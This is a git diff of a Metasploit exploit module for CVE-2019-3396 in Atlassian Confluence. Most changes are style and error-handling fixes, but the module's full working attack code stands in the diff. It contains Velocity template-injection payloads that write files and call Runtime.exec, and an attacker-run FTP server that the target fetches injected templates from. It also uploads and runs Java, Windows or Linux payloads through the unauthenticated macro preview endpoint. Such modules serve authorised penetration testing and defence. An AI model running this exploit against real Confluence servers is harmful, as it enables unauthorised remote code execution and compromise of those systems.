diff --git a/modules/exploits/multi/http/confluence_widget_connector.rb b/modules/exploits/multi/http/confluence_widget_connector.rb index d144c13337..130f871eb0 100644 --- a/modules/exploits/multi/http/confluence_widget_connector.rb +++ b/modules/exploits/multi/http/confluence_widget_connector.rb @@ -11,76 +11,83 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::FtpServer - def initialize(info={}) - super(update_info(info, - 'Name' => "Atlassian Confluence Widget Connector Macro Velocity Template Injection", - 'Description' => %q{ - Widget Connector Macro is part of Atlassian Confluence Server and Data Center that - allows embed online videos, slideshows, photostreams and more directly into page. - A _template parameter can be used to inject remote Java code into a Velocity template, - and gain code execution. Authentication is unrequired to exploit this vulnerability. - By default, Java payload will be used because it is cross-platform, but you can also - specify which native payload you want (Linux or Windows). + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Atlassian Confluence Widget Connector Macro Velocity Template Injection', + 'Description' => %q{ + Widget Connector Macro is part of Atlassian Confluence Server and Data Center that + allows embed online videos, slideshows, photostreams and more directly into page. + A _template parameter can be used to inject remote Java code into a Velocity template, + and gain code execution. Authentication is unrequired to exploit this vulnerability. + By default, Java payload will be used because it is cross-platform, but you can also + specify which native payload you want (Linux or Windows). - Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version - 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected. + Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version + 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected. - This vulnerability was originally discovered by Daniil Dmitriev - https://twitter.com/ddv_ua. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Daniil Dmitriev', # Discovering vulnerability - 'Dmitry (rrock) Shchannikov' # Metasploit module + This vulnerability was originally discovered by Daniil Dmitriev + https://twitter.com/ddv_ua. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Daniil Dmitriev', # Discovering vulnerability + 'Dmitry (rrock) Shchannikov' # Metasploit module ], - 'References' => - [ + 'References' => [ [ 'CVE', '2019-3396' ], [ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html' ], [ 'URL', 'https://chybeta.github.io/2019/04/06/Analysis-for-%E3%80%90CVE-2019-3396%E3%80%91-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/'], [ 'URL', 'https://paper.seebug.org/886/'] ], - 'Targets' => - [ - [ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }], - [ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }], - [ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }] + 'Targets' => [ + [ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }], + [ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }], + [ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'RPORT' => 8090, - 'SRVPORT' => 8021, + 'SRVPORT' => 8021 }, - 'Privileged' => false, - 'DisclosureDate' => '2019-03-25', - 'DefaultTarget' => 0, - 'Stance' => Msf::Exploit::Stance::Aggressive - )) + 'Privileged' => false, + 'DisclosureDate' => '2019-03-25', + 'DefaultTarget' => 0, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION ] + } + ) + ) register_options( [ OptAddress.new('SRVHOST', [true, 'Callback address for template loading']), OptString.new('TARGETURI', [true, 'The base to Confluence', '/']), - OptString.new('TRIGGERURL', [true, 'Url to external video service to trigger vulnerability', - 'https://www.youtube.com/watch?v=kxopViU98Xo']) - ]) + OptString.new('TRIGGERURL', [ + true, 'Url to external video service to trigger vulnerability', + 'https://www.youtube.com/watch?v=kxopViU98Xo' + ]) + ] + ) end # Handles ftp RETP command. # - # @param c [Socket] Control connection socket. + # @param ccs [Socket] Control connection socket. # @param arg [String] RETR argument. # @return [void] - def on_client_command_retr(c, arg) + def on_client_command_retr(ccs, arg) vprint_status("FTP download request for #{arg}") - conn = establish_data_connection(c) - if(not conn) - c.put("425 Can't build data connection\r\n") + conn = establish_data_connection(ccs) + if !conn + ccs.put("425 Can't build data connection\r\n") return end - c.put("150 Opening BINARY mode data connection for #{arg}\r\n") + ccs.put("150 Opening BINARY mode data connection for #{arg}\r\n") case arg when /check\.vm$/ conn.put(wrap(get_check_vm)) @@ -93,83 +100,73 @@ class MetasploitModule < Msf::Exploit::Remote else conn.put(wrap(get_dummy_vm)) end - c.put("226 Transfer complete.\r\n") + ccs.put("226 Transfer complete.\r\n") conn.close end # Handles ftp PASS command to suppress output. # - # @param c [Socket] Control connection socket. + # @param ccs [Socket] Control connection socket. # @param arg [String] PASS argument. # @return [void] - def on_client_command_pass(c, arg) - @state[c][:pass] = arg - vprint_status("#{@state[c][:name]} LOGIN #{@state[c][:user]} / #{@state[c][:pass]}") - c.put "230 Login OK\r\n" + def on_client_command_pass(ccs, arg) + @state[ccs][:pass] = arg + vprint_status("#{@state[ccs][:name]} LOGIN #{@state[ccs][:user]} / #{@state[ccs][:pass]}") + ccs.put "230 Login OK\r\n" end # Handles ftp EPSV command to suppress output. # - # @param c [Socket] Control connection socket. + # @param ccs [Socket] Control connection socket. # @param arg [String] EPSV argument. # @return [void] - def on_client_command_epsv(c, arg) - vprint_status("#{@state[c][:name]} UNKNOWN 'EPSV #{arg}'") - c.put("500 'EPSV #{arg}': command not understood.\r\n") + def on_client_command_epsv(ccs, arg) + vprint_status("#{@state[ccs][:name]} UNKNOWN 'EPSV #{arg}'") + ccs.put("500 'EPSV #{arg}': command not understood.\r\n") end # Returns a upload template. # # @return [String] def get_upload_vm - ( - <<~EOF - $i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}')) - EOF - ) + <<~EOF + $i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}')) + EOF end # Returns a command execution template. # # @return [String] def get_exec_vm - ( - <<~EOF - $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor() - EOF - ) + <<~EOF + $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor() + EOF end # Returns checking template. # # @return [String] def get_check_vm - ( - <<~EOF - #{@check_text} - EOF - ) + <<~EOF + #{@check_text} + EOF end # Returns Java's getting property template. # # @return [String] def get_javaprop_vm - ( - <<~EOF - $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString() - EOF - ) + <<~EOF + $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString() + EOF end # Returns dummy template. # # @return [String] def get_dummy_vm - ( - <<~EOF - EOF - ) + <<~EOF + EOF end # Checks the vulnerability. @@ -179,7 +176,7 @@ class MetasploitModule < Msf::Exploit::Remote checkcode = Exploit::CheckCode::Safe begin # Start the FTP service - print_status("Starting the FTP server.") + print_status('Starting the FTP server.') start_service @check_text = Rex::Text.rand_text_alpha(5..10) @@ -198,9 +195,8 @@ class MetasploitModule < Msf::Exploit::Remote # # @param service_url [String] Address of template to injection. # @return [void] - def inject_template(service_url, timeout=20) - - uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview') + def inject_template(service_url, timeout = 20) + uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview') res = send_request_cgi({ 'method' => 'POST', @@ -209,23 +205,23 @@ class MetasploitModule < Msf::Exploit::Remote 'Accept' => '*/*', 'Origin' => full_uri(vhost_uri: true) }, - 'ctype' => 'application/json; charset=UTF-8', - 'data' => { - 'contentId' => '1', - 'macro' => { - 'name' => 'widget', - 'body' => '', - 'params' => { - 'url' => datastore['TRIGGERURL'], - '_template' => service_url - } + 'ctype' => 'application/json; charset=UTF-8', + 'data' => { + 'contentId' => '1', + 'macro' => { + 'name' => 'widget', + 'body' => '', + 'params' => { + 'url' => datastore['TRIGGERURL'], + '_template' => service_url + } - } - }.to_json - }, timeout=timeout) + } + }.to_json + }, timeout) unless res - unless service_url.include?("exec.vm") + unless service_url.include?('exec.vm') print_warning('Connection timed out in #inject_template') end return @@ -234,7 +230,7 @@ class MetasploitModule < Msf::Exploit::Remote if res.body.include? 'widget-error' print_error('Failed to inject and execute code:') else - vprint_status("Server response:") + vprint_status('Server response:') end vprint_line(res.body) @@ -245,14 +241,23 @@ class MetasploitModule < Msf::Exploit::Remote # Returns a system property for Java. # # @param prop [String] Name of the property to retrieve. - # @return [String] + # @return [Array] Array consisting of a result code (Integer) and, if the property could be obtained, the property (String). def get_java_property(prop) @prop = prop res = inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}javaprop.vm") if res && res.body - return clear_response(res.body) + if res.body.empty? + return [2] + else + prop_to_return = clear_response(res.body) + if prop_to_return.blank? + return [2] + else + return [0, prop_to_return] + end + end end - '' + [1] end # Returns the target platform. @@ -299,7 +304,7 @@ class MetasploitModule < Msf::Exploit::Remote # @param new_fname [String] The new file # @return [void] def get_dup_file_code(fname, new_fname) - if fname =~ /^\/[[:print:]]+/ + if fname =~ %r{^/[[:print:]]+} @command = "cp #{fname} #{new_fname}" else @command = "cmd.exe /C copy #{fname} #{new_fname}" @@ -312,8 +317,8 @@ class MetasploitModule < Msf::Exploit::Remote # # @return [String] def normalize_payload_fname(tmp_path, fname) - # A quick way to check platform insteaf of actually grabbing os.name in Java system properties. - if /^\/[[:print:]]+/ === tmp_path + # A quick way to check platform instead of actually grabbing os.name in Java system properties. + if tmp_path =~ %r{^/[[:print:]]+} Rex::FileUtils.normalize_unix_path(tmp_path, fname) else Rex::FileUtils.normalize_win_path(tmp_path, fname) @@ -324,57 +329,55 @@ class MetasploitModule < Msf::Exploit::Remote # # @return [void] def exploit_as_java + res_code, tmp_path = get_tmp_path - tmp_path = get_tmp_path - - if tmp_path.blank? + unless res_code == 0 fail_with(Failure::Unknown, 'Unable to get the temp path.') end - @fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar") - @b64 = Rex::Text.encode_base64(payload.encoded_jar) - @command = '' + @fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar") + @b64 = Rex::Text.encode_base64(payload.encoded_jar) + @command = '' - java_home = get_java_home_path + res_code, java_home = get_java_home_path - if java_home.blank? - fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.') - else + if res_code == 0 vprint_status("Found Java home path: #{java_home}") + else + fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.') end register_files_for_cleanup(@fname) - if /^\/[[:print:]]+/ === @fname + if @fname =~ %r{^/[[:print:]]+} normalized_java_path = Rex::FileUtils.normalize_unix_path(java_home, '/bin/java') - @command = %Q|#{normalized_java_path} -jar #{@fname}| + @command = %(#{normalized_java_path} -jar #{@fname}) else normalized_java_path = Rex::FileUtils.normalize_win_path(java_home, '\\bin\\java.exe') @fname.gsub!(/Program Files/, 'PROGRA~1') - @command = %Q|cmd.exe /C "#{normalized_java_path}" -jar #{@fname}| + @command = %(cmd.exe /C "#{normalized_java_path}" -jar #{@fname}) end print_status("Attempting to upload #{@fname}") inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}upload.vm") print_status("Attempting to execute #{@fname}") - inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5) + inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5) end - # Exploits the target in Windows platform. # # @return [void] def exploit_as_windows - tmp_path = get_tmp_path + res_code, tmp_path = get_tmp_path - if tmp_path.blank? + unless res_code == 0 fail_with(Failure::Unknown, 'Unable to get the temp path.') end - @b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)) - @fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe") - new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe") + @b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)) + @fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.exe") + new_fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.exe") @fname.gsub!(/Program Files/, 'PROGRA~1') new_fname.gsub!(/Program Files/, 'PROGRA~1') register_files_for_cleanup(@fname, new_fname) @@ -387,22 +390,21 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Attempting to execute #{new_fname}") @command = new_fname - inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5) + inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5) end - # Exploits the target in Linux platform. # # @return [void] def exploit_as_linux - tmp_path = get_tmp_path + res_code, tmp_path = get_tmp_path - if tmp_path.blank? + unless res_code == 0 fail_with(Failure::Unknown, 'Unable to get the temp path.') end - @b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)) - @fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5)) + @b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)) + @fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5)) new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6)) register_files_for_cleanup(@fname, new_fname) @@ -417,21 +419,24 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Attempting to execute #{new_fname}") @command = new_fname - inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5) + inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5) end def exploit @wrap_marker = Rex::Text.rand_text_alpha(5..10) # Start the FTP service - print_status("Starting the FTP server.") + print_status('Starting the FTP server.') start_service - target_platform = get_target_platform - if target_platform.empty? - fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".') - else + res_code, target_platform = get_target_platform + case res_code + when 0 print_status("Target being detected as: #{target_platform}") + when 1 + fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".') + when 2 + fail_with(Failure::NoTarget, 'Failed to obtain the target OS.') end unless target_platform_compat?(target_platform) @@ -457,10 +462,8 @@ class MetasploitModule < Msf::Exploit::Remote # Returns unwrapped response. # - # @return [String] + # @return [String, nil] def clear_response(string) - if match = string.match(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m) - return match.captures[0] - end + string.scan(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m)&.flatten&.first end end